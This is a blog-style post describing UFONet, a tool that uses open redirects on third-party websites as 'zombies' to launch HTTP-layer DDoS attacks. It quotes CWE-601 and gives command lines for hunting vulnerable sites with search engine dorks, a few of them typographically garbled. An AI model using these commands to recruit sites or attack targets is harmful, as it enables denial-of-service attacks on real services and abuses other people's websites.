UFONet – Open Redirect DDoS Tool

By Cyb3rw0rM -


UFONet is an open redirect DDoS tool designed to launch attacks against a target, using insecure redirects in third party web applications, like a botnet. Obviously, only for testing purposes.

The tool abuses OSI Layer 7-HTTP to create/manage ‘zombies’ and to conduct different attacks using; GET/POST, multi-threading, proxies, origin spoofing methods, cache evasion techniques, etc.

Definition of an “Open Redirect”:

An http parameter may contain a URL value and could cause the web application to redirect the request to the specified URL. By modifying the URL value to a malicious site, an attacker may successfully launch a phishing scam and steal user credentials. Because the server name in the modified link is identical to the original site, phishing attempts have a more trustworthy appearance.

From: CWE-601: URL Redirection to Untrusted Site (‘Open Redirect’)

Searching for ‘Zombies’

UFONet can dig on different search engines results to find possible ‘Open Redirect’ vulnerable sites. A common query string should be like this:


For example you can begin a search with:

 ./ufonet -s ‘proxy.php?url=’
Or providing a list of “dorks” from a file:
 ./ufonet –sd ‘dorks.txt’
By default UFONet will uses a search engine called ‘duck’. But you can choose a different one:
. / ufonet s ‘proxy.php?url=’ se ‘bing’
This is the list of available search engines with last time that were working:
         duck [ 07 / 10 / 2015 : OK ! ]
         google [ 07 / 10 / 2015 : OK ! ]
         bing [ 07 / 10 / 2015 : OK ! ]
         yahoo [ 07 / 10 / 2015 : OK ! ]
         yandex [ 07 / 10 / 2015 : OK ! ]

You can also search massively using all search engines supported:

./ufonet -s ‘proxy.php?url=’ –sa

To control how many ‘zombies’ recieve from search engines you can use:

./ufonet –sd ‘dorks.txt’ –sa –sn 20
